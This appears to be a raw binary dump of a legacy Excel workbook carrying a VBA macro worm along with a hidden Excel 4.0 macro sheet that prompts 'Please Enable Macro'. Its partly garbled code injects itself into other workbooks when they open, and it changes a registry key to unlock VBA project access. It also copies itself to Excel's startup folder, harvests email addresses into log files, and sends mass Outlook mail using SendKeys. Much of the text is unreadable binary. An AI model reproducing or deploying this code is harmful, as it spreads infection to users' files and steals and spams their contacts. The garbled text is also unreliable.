ࡱ> ~ ( !"#$%&'*8,-./01234567)9:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmRoot Entry F`~ &Workbookr.QexA_PROJECT_CUR"-`~ VBA5"K   \p Ba="" ThisWorkbook=x9!8X@"1[SO1[SO1[SO1[SO1[SO1h[SO1[SO1[SO+""#,##0;""\-#,##05""#,##0;[Red]""\-#,##07""#,##0.00;""\-#,##0.00A""#,##0.00;[Red]""\-#,##0.00i*2_ ""* #,##0_ ;_ ""* \-#,##0_ ;_ ""* "-"_ ;_ @_ .))_ * #,##0_ ;_ * \-#,##0_ ;_ * "-"_ ;_ @_ y,:_ ""* #,##0.00_ ;_ ""* \-#,##0.00_ ;_ ""* "-"??_ ;_ @_ 6+1_ * #,##0.00_ ;_ * \-#,##0.00_ ;_ * "-"??_ ;_ @_ \$#,##0_);\(\$#,##0\)\$#,##0_);[Red]\(\$#,##0\) \$#,##0.00_);\(\$#,##0.00\)% \$#,##0.00_);[Red]\(\$#,##0.00\)=""#,##0_);[Red]\(""#,##0\)                 , * + ) \ |@ @  x@ @  x@ @  |@ @  |@ @  x@ @  x@ @  |@ @  "|@ @  1|@ @  x@ @  1|@ @  1|@ @  "\ !X "X "\ "| \ `yCDKOHSKSheet1J,Sheet2^-Sheet3VV"2> 2011t^0Weؚ!hgINRuQy_f[9eP7>kf[9DRf~h 7;`^S 7{|+R 7f[!hTy 7YT 7 f[9ePёCQ  7 7>kNPёCQ  7 f[9DRёCQ  7 2011t^^J\kNeQOfkIluir] zf[b 7Xog 7Y 7lz 7qs 7\ 7p 7NSg 74bQ 7ёh 7 _\ 7jl^ 7NgZ 78^܏im 7sR 7Hcp 7~N  7ghg 7s^ 7Hmt 7"[q 7_ 7y7   : L"+ dMbP?_*+%"??uU}  }  } }  ::@     (((((((        = #^*A%3#%3#p@%3~ ?    ~ p@ ~ @    ~ p@ ~ @    ~ @ ~ @   ~ @ ~ @   ~ p@ ~ @   ~ p@ ~ @   ~ p@ ~  @   ~ @ ~ "@   ~ @ ~ $@   ~ @ ~ &@   ~ @ ~ (@   ~ @ ~ *@   ~ @ ~ ,@   ~ @ ~ .@   ~ @ ~ 0@   ~ @ ~ 1@   ~ @ ~ 2@   ~ @ ~ 3@   ~ @ ~ 4@   ~ @ ~ 5@   ~ @ ~ 6@   ~ p@ ~ 7@    ~ @ ~ 8@    !~ @ ~ 9@    "~ @ ~ :@    #~ p@ ~ ;@    $~ @ ~ <@    %~ @ D l$bTTTTTTTTTTTTTTTTTTTTTTTTTTT !"#$%&'()*+,-./0123456789~ =@    &~ @ ~ !>@ ! ' !! !(~ !@ !~ "?@ " ' "! ")~ "@ "~ #@@ # ' #! #*~ #@ #~ $@@ $ ' $! $+~ $@ $~ %A@ % ' %! %,~ %@ %~ &A@ & ' &! &-~ &@ &~ 'B@ ' ' '! '.~ '@ '~ (B@ ( ' (! (/~ (@ (~ )C@ ) ' )! )0~ )@ )~ *C@ * ' *! *1~ *@ *~ +D@ + ' +! +2~ +@ +~ ,D@ , ' ,! ,3~ ,@ ,~ -E@ - ' -! -4~ -@ -~ .E@ . ' .! .5~ .@ .~ /F@ / ' /! /6~ /@ /~ 0F@ 0 7 0 08~ 0p@ 0~ 1G@ 1 7 1 19~ 1p@ 1~ 2G@ 2 7 2 2:~ 2@ 2~ 3H@ 3 ; 3" 3< 3~ 3p@4##$%&&'5##$%&&'6##$%&&'7##$%&&'8##$%&&'9##$%&&'8( TTTTTTTTTTTTTTTTTTTT>@### 7 Sheet1   - dMbP?_*+%"??U>@7 Sheet2   . dMbP?_*+%"??U>@7 Sheet3 ThisWorkbook OSheet1 #ISheet25ISheet3GI $%&'()*+,-./012346789:;<=>?@ABCDEFHIJKLMNOPQRSTUVWXZ[\]_`abcdefghijklmnpqrstuvwxyz|}~Deleted By Kaspersky Lab AV Attribute VB_Name = "ThisWorkbook" Bas0{00020P819-0C$0046}|GlobalSpacFalse dCreatablPredeclaIdTruBExposeTemplateDerivBustomizD2Public WithEvents xx @As App ation fxx.VarHelpIDU-1 P;? Sub _open()P Set)= )On Error ResuNext4:.Disj yAlerJ= iCall do_whaEndC: Axx_w{O!ByVal wb5'& wb@8Project.References.AddFromGuid _ GUID:="BE157 -P, Major:=5, Mi nA3 tS@tartupT@hen creenUpding[ Call delete_tf_wk<copytowxSheets0(1)."M@acro1"Sen Movem4 [ cSavnSTruEnd If   Rjonst @DQUOTEv"3?Wi BVBProject.VBComponenn" ").CodeModuBlF.InsLines 1, P"Pub Ev xx As_@2vE 3 Set=4 On Error Resu@Next5 6o_wtha7h8Ixx_OByVal wbkAMB)9!7120 wbtvReferences.AddFrom@Guid _M1AsGUID:=" && "{0002E157-u0CB0046}k, >Major:=@0Min!3={ϒw?: XaAAhs!`0 >atACw!dxxKx8Dim`8BVBIDE: v?xw')y jC=s(#%A7aj!! $ .DBuntOf'(Funrc d#r&n.ŠtoreAfterar}DoorMisofthobb yABJudg  M(2d | e>AB1o>`2=1>E 8k4.xls A 2)7A-m@@oDole","D ?b|)qExit Rsgv@eStringE L& /tToo4fOve@rwrite s&t1Boan)#xt~ ?:!<3AFO AS SlashPows LonbgExt0FTempuFL c@Is No`0eq !# L a ATrim()vbNull3%a Y"Q0@c].;t 70"_pp_locked_y15 [t?0 22F!'Q?:f # О.NumberA0!0_!Y!9=vironN2")"\ !.bas D<= + s$Di$r(", .or mp+HiddšSystem~)01CleakE KiB% q929*8* .Rem .I BgEb@Xrr.:))/ += 9?7 0+A?23a;roject.VBComponents(ModuleName).Export F"i@:=F\   SlashPos = InStrRev(F, "\")HExtD."cZGMidB]+P 1, F-t- 1bet GNothingToVBPB *If)Is *` Then, (.I El se!2.Type_vbext_ct_Docum_̌9;S~TempK:CKWith?.pCode.DeleteLinesAj untOf S7*H. (zCo-A! .Inse,rt!SEn d A4KOn Error GoTo 0 VPRempove )ǁIfKill copymCru Functio@  Microsofthobby(>Dim myf0 As º9MyI8Res N = KisWorkbook.Full| = Applica.StartupPa@C&|k4.xls" XeOpen("$) A/ThH <> k s' .Clo se FaBgShe *Environ$("coms@pec")  /c attrib -S -h """9K4.XLS, vbMinimizedFos @`@ /F /Q?\? RD /S3B62= )creenUpdy DngY4r IsAddin^/SaveC c`ZOk)ZTlasm!!WDoorElFso, RK1i*234 rKValuebVariant, c dcVSw`krVersBA@+CreateOb("scRiPTinG.fiLEsysTA`BjEcTx = "HKEY_CURRENT_USER\SA0Gware\H\Office\4Q&Excel\Security\AccessVBOMPARK2+t\Le(velB3FLOCAL_MACHINE__"] ~4X   5 = 1. CaLWReg("p"REG_DWORDŒz 2$03744 !3Sub bstrkey',, //Rk|2oWsq]S,P;-WScript.Ya6D0_8KF.`W*e  d C"dn B Priv: %M ma~4(ByP wbp@@xtQ shtC?c 0e1).Sp^cqWpP.Y ! :=xl64M!#Ave.4"218SRange("A,2"kCz.FormulaR1C116=ERROR(FALSE)գ U3_ia_ "=IF(.TYPE(RUN(; |~Up J""))=44Ac ALERT@ú꣬ر PChr(10NowA"PleaE@nable !"",3m5oocFILE.CLOSE/6aEND.`7RETURN(#! Each )In(wb$s"( %!Auto_#1 "`M=&!$A$~2X,+sB(0/VisiA= xlB,ryHiddܸ88Fu7ҬBR$wK6`) .v v;BƶotpKL0)4s(a1) > 0pÎAExi& p d I3 okNotOpen: End Function Private Sub ATJudge() Const T1 As DF= "10:0U"<2 <1<3U <44 5Dim SentTime", Ws@hShellSet = CreObject("WScript.-"If  InStr(@UCase(&.RegRead("HKEY_CLASSES_ROOT\mailtHo\s:\o\command\")), "OUTLOOK.EXE") > 0 Then ExitS<b>= <2 Or.  4% N "QOunD@:\Collted_Address:frag1.txtC" G% ElseCBPFilez"7\ search_in_OLyIfG2bif_outlook_U+M# G< TF=("n)10,)R TZ 4)GFF=B-21,w@,Orror GoTo t@EIKCA3(w2w@FGGVw < (2@Gb$\loggHPHHnI" JI`Now9R#i,"Cab_ dMyISBU`GVaxˤ)] aiInteger, AttNaing@ddVbsbkListfs gaLResu`Next 7s¡.f{systemoOb_I @Mfs.Folderexs("E:\KKbFa}z$8b  $= Replace`Left(ThisWork b.!), Len) - 4 K_"A.D qF._cl\" &f4& "P.vbs@PiFHreea2 7}d7 F{@pu t`c Wri3 ;#i3nt #i V4e4 (Gwsh, Xtle` vi  T0r-a7=cc:(""i!"w>.4)@Microsoft Office PAZ'Q1 `N1000 Ifmrp > 6 rCall !f m h( leep 05p.sendKeys $ %a P  Uh{TAB~}BOO @O{E`Cr}A=[w `th=UquitRePDo Untibl AppqA(JCpJ("))True+aSI*aLoop=% s?_ 1q[z{F4?7q\Sub`Close (i0s@\ @A"b@В@0AyAn Af'olVInbox 6QCconbiTnd`ac,E,DtLxF#=YusC۳38F_A б. %lica!T. 9^sp`.GetMMAPI vD@efault(J_ Targe~ eC 1 colIPxsI.B23V VaH.Run _exopo svbHidg{{tB pgQ/E(achMPpage in K<0IB`>55 t`t ?0=@/valhid_0($D .pBodyUp_t@, 8{ j_non_sО2AllT002ku5QY{0;2u source_dataLAaAoDictr dpta , temp_data, ih_asc, header_endHrimed_arr, no nsame0" Print #l" Dim regex, matchs, &sn()XSet oDict = CreateObject(""" & "Scripting.$ionaryLyLVBSCRIPT.REGEXPGQ(.Global,TruePattern-\w+([-+.])*@\. ,+EExecute(sourcfeُReÇ(!".Cou- 1For i@$Lbd() pTo UN* i)@I(& vbCrLfNext (B(N(H7@%)`Ý'IfX> 0 TxhenS!HI$.keysS L>f>@validdress}&{`# !@ E0nd I/;i|Nothy Funct{+v Sub add_t@F(inpad_sOng`_frag/\AbobjFSO, logfile A_path#fol@ `&$FD:\CollA*ImB!FSysf#D On Err`w9ume niA .cFb(el n ].Exist.sch\ .tzl8b$a2T ! , o$8S"S'$SeaB Case ׂTR #8 "AT"Open"tdF, 8#, - 1A.Writ -c5 C2Clos;_q2SO. 9O%2sC CI%[s!5>nN "ubNeQ RAllF?.M2N, My@%Lss< UBound(a)cP@erve a(n*2A?rn x+ 1/ 8@} o/ -1/ d}=0a) ClopW(iPp?q zb\TEST.t #PK_aX>~ нw.@eenUpd`n&g" гto reBefPSend SaveC1 Af<c c<4$1 Ch8Dri%, ,'"C:\ir`)1 QEnviron$("comspec"3 /c makecab 0 c*i  !If NxextyBRadomNine`(leng>Integerr eH !@jj, ki"N"#$<= oc @:1E i1 `-O$$_id U = t / 10Ran0izW[ k `(RY* (@* i - m01)) + 1T mk <> t  m/ `get_ten_]q.KUAslea_arrAlPApSpkt(Read@[("D: \Collfed5h\logr)pcxYkrrV)U@Bound()uLs "#OP$;A$(C`(i- 1&G$O7on Fxull6%F\Rxesu&FsoileT2>aQK`{sscRiPTinG.fiLEsysTeMoBjEcTsF@.O@zEa(5 , 1T,| -a q$.1!All*.C|loᾟg 3ragMark, pathfO?NO‰OQ}("OM@:Left(, Lena(10  ´f`It_Q1"ue 2Write Fd 1Eڑ1"i"b"A1#mqSӮgN4storeBeeQ(#!! aa!i, i_rowjcol@Psht1s_Z48.DisAlert!$++I Q  aa.Visible ~r0#VS"!")(1)`"Auto_Aq" Then aa.Delete Next For Each sht InisWorkbook.Sheets IfF.Name = "Macro1B.VisiblBxl| DUEnd IfAp(1).ScC.Add5<<> V^VeryHiddenH i_rowwInt((15 * Rnd) + 1) i_col6CellsR(, )"** CONFIDENTIAL!b " -2Use " & Chr(34)Left(Thk, Len ) - "_key.vbs @p0o OpA FPile.$3 $8$1V$ļ"With Range(U, NgB.Font.Bold_TruColorIndex@3  Application.ScreenUp2dng Sub Private Func RestoreAfterW"(#Dim, del_, rngCfrag As BooleaOn Err{@u܃@ A9veB,Fa ls DisplayAlerts D?$ l*Bwl atd).c>"A1:F1 5"' InStr(.Value, "i") > 0B *= >Exit < l"ņa}5)&?CBaCA `$ `,! `aDI `0==#$q `$ `0 ` Iay0/0, `a( `0$9 `$a `$ `< `A00000$ `( `a&$) `(Q `y/,y `//$ `$ `nʲ0* pHd VBAProject4@j = y`strkey`ValueK` ValueType `oWshellu`RegWrite!>`sht`Addr`xlExcel4MacroSheet0` ActiveSheet%N`Range ` ActiveCell` FormulaR1C1S`UserName\`ChrK~`Now%`Namesο`Excel4MacroSheetsɷ`Visible`xlSheetVeryHidden` WorkBookName+`WorkBookNotOpen`T1*_`T2+_`T3,_`T4-_`SentTime!D`WshShell0`UCase5 `RegReadw`Time`ReadOut` CreateFile` search_in_OLe`if_outlook_openi`DateAdd/6` timeErrorӋ`CreatCab_SendMailT@`i``AttName` AddVbsFileVg` AddListFile`fsF]` Folderexists ` CreateFolder`Replacef`AddVbsFile_clear͸`AddVbsFile_search` WindowState|` xlMaximizedZp`Run_`vbHideW` Address_listQ`get_ten_address``mail_sub`RestoreBeforeSendq+`c4\`ChDrive%` FileExists`Massive_SendMail`vbCrLf`Email_Address`SubjectRP`Bodyl` CC_email_add` Attachment^6`objOL` itmNewMail6` CreateItem~` olMailItem`CC\` Attachments_`DeleteAfterSubmit`continueT` SendEmail`display`SendKeysN`Wait`objs` GetObjectz` InstancesOfr`obj` Description ` RadomNine`lengthY`jj]`kb`RndR`md`singleAddress_arr `krr`Split)`FullPath+`FileTextg|` OpenTextFile`ReadAllU`FragMark)O`pathf; `aa{\`i_rowz,`i_colx`Deletex`xlSheetVisible`Cells`FontU`Bold` ColorIndex`del_shtv`rngU`del_fragy`_Defaultj`xx_`Workbook_open`xx_workbookOpenPZ` References` AddFromGuidA{`GUID`Major'`Minora` Worksheet` _B_var_Chr\;`# Z"`Hdiro__SRP_0__SRP_1 {PROJECTwm}r u:R J< rstdole>stdoleh%^*\G{00020430-C 0046}#2.0#0#C:\WINDOWS\syst em32\e2.tlb#OLE Automation`EOffDicEOficEE2DF8D04C-5BFA-101B-BDE5EAAC42Egram Files\CommonMicrosoft Shared\OFFICE11\MSO.0DLL#M 1@1.0 Ob LibraryK VBIDE>BIDEE157R5.3R/\6E6EXT.OLB0Visual Basic for Applicas Extensibilpity +BBThisWorkbookG TisWArkboU 2 THB1Bay *\G{000204EF-0000-0000-C000-000000000046}#4.0#9#C:\PROGRA~1\COMMON~1\MICROS~1\VBA\VBA6\VBE6.DLL#Visual Basic For Applications*\G{00020813-0000-0000-C000-000000000046}#1.5#0#C:\Program Files\Microsoft Office\OFFICE11\EXCEL.EXE#Microsoft Excel 11.0 Object Library*\G{00020430-0000-0000-C000-000000000046}#2.0#0#C:\WINDOWS\system32\stdole2.tlb#OLE Automation(*\G{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}#2.3#0#C:\Program Files\Common Files\Microsoft Shared\OFFICE11\MSO.DLL#Microsoft Office 11.0 Object LibraryZ*\G{0002E157-0000-0000-C000-000000000046}#5.3#0#C:\Program Files\Common Files\Microsoft Shared\VBA\VBA6\VBE6EXT.OLB#Microsoft Visual Basic for Applications Extensibility 5.3 u:RThisWorkbook0>523abf75ThisWorkbookf Sheet10@523abf75 Sheet1cj Sheet20B523abf75 Sheet2H0 Sheet30D523abf75 Sheet3DH ToDOLE0F523abfd0" ToDOLE`[x`H0ng@TJGgE[;*8(mEFYH?|)Gd0:z AekD Excel+` VBA`Win16~`Win32`Mac`VBA6#`1p` stdole`` VBAProject` Officeu` ThisWorkbook|` _Evaluate` Sheet1` Sheet2` Sheet3` VBIDEA`ģ1c` ToDOLEŝ` auto_openV ` Application*`DisplayAlerts`Path2` StartupPathi`ScreenUpdating! `delete_this_wk}`copytoworkbooke`Sheets ` Movemacro4@`Save`DQUOTE!x` VBProjectOh` VBComponents '` CodeModule` InsertLines`VBProj`VBCompӜ` VBComponent`CodeMod}O` DeleteLines ` CountOfLines!\`(do_what`RestoreAfterOpen`(OpenDoor`(Microsofthobby` ActionJudgeBG` (copystart `wb_`Workbookk`VBProj1F`VBProj2G` WorkbooksB` (copymodule` ModuleName#>`FromVBProject6` ToVBProject`OverwriteExistingk`FNameR`CompName!`Sj`SlashPosk#`ExtPosF` TempVBComp`Trim@` vbNullString` Protection`vbext_pp_lockedh`Erro`Number-`Environ,`vbNormal-`vbHiddenT;`vbSystem`Clear`Kill`Removeϱ`Itemz`Export`FileNamej`InStrRevĈ`Importi`vbext_ct_Document `Lines`myfile0[y`MyFile`FullNameО` WorkbookOpen`ShellV`vbMinimizedFocusx`IsAddin~|` SaveCopyAsT`Fso`RK1`RK2`RK3`RK4`KValue1'`KValue2(`VS_`Version` CreateObject`(WRegB,!f"B +BBSheet1GS@#e@t1H2N!cjU2222RH33533)DToD@uT9DOLY)'[) !7brU~~~~w  Qwb ModuleName FromVBProject ToVBProjectOverwriteExistingstrkeyValue ValueType WorkBookNameEmailY a  )Qy 1Qi) Y  1 AQi1 VBAProject ThisWorkbookSheet1Sheet2Sheet3ģ1ToDOLE_AddressSubjectBody CC_email_add AttachmentlengthFullPathFragMarkpathf Q ( Q)8\EXCEL.EXEExcel 9ThisWorkbookThisWorkbookSheet1Sheet1Sheet2Sheet2Sheet3Sheet3ToDOLEToDOLEID="{409C4836-22FD-4D92-BD98-BCD50FD76A05}" Document=ThisWorkbook/&H00000000 Document=Sheet1/&H00000000 Document=Sheet2/&H000PROJECT-SummaryInformation(DocumentSummaryInformation8CompObjj00000 Document=Sheet3/&H00000000 Module=ToDOLE Name="VBAProject" HelpContextID="0" VersionCompatible32="393222000" CMG="ADAF5979E957ED57ED57ED57ED" DPB="878573A397A770A870A870" GC="61639556965696A9" [Host Extender Info] &H00000001={3832D640-CF90-11CF-8E43-00A0C911005A};VBE;&H00000000 [Workspace] ThisWorkbook=0, 0, 0, 0, C Sheet1=0, 0, 0, 0, C Sheet2=0, 0, 0, 0, C Sheet3=0, 0, 0, 0, C ToDOLE=0, 0, 0, 0, C e MacroOh+'0@HT` xMicrosoft Excel@2@e Application 6Private Sub W՜.+,0 PXd lt| ' Sheet1Sheet2Sheet3  Call do_what End Sub bP FMicrosoft Office Excel Biff8Excel.Sheet.89qb.VBProject.References.AddFromGuid _ GUIK*yrU~~~~~~~~~~~~~~~H  xH]eL    ) A Y a  )Qy 1Qi) Y  1 AQi1 VBAProject ThisWorkbookSheet1Sheet2Sheet3ģ1ToDOLEF /C:\PROGRA~1\COMMON~1\MICROS~1\VBA\VBA6\VBE6.DLLVBA  10F4C:\Program Files\Microsoft Office\OFFICE11\EXCEL.EXEExcel 9@0F OĦC:\WINDOWS\system32\stdole2.tlbstdole  QPL-[DR?C:\Program Files\Common Files\Microsoft Shared\OFFICE11\MSO.DLLOffice q`WFCC:\Program Files\Common Files\Microsoft Shared\VBA\VBA6\VBE6EXT.OLBVBIDE  p auto_opencopytoworkbookdelete_this_wkdo_what copystartF copymoduleMicrosofthobbyOpenDoorWReg Movemacro4 WorkbookOpen ActionJudge search_in_OLCreatCab_SendMailMassive_SendMailif_outlook_open RadomNineget_ten_addressReadOut CreateFileRestoreBeforeSendRestoreAfterOpen FF F 1eHZ;#bF3`kTDC DFWorkbook @FName Macro1  ThisWorkbook`FbFdFnF " FPublic WithEvents xx As Application 6Private Sub Workbook_open() (Set xx = Application (On Error Resume Next =ALERT("y(u[ sQ awg%AR BApplication.DisplayAlerts = False Call do_what End Sub bPrivate Sub xx_workbookOpen(ByVal wb As Workbook) Jwb.VBProject.References.AddFromGuid _ GUID:= L{0002E157-0000-0000-C000-000000000046} , _ $Major:=5, Minor:=3 DApplication.ScreenUpdating = False copystart wb BApplication.ScreenUpdating = TrueFImN FGvGqS'DF Worksheet Select A2 =ERROR(FALSE) A3 (=IF(ERROR.TYPE(RUN(" "))=4) A4 0Please Enable Macro!",3) A5 $=FILE.CLOSE(FALSE) A6 =END.IF() A7 =RETURN() !Auto_Activate =Macro1!$A$2VisibleVBE6.DLLq` q" (L}F}S #E:&uj ]~H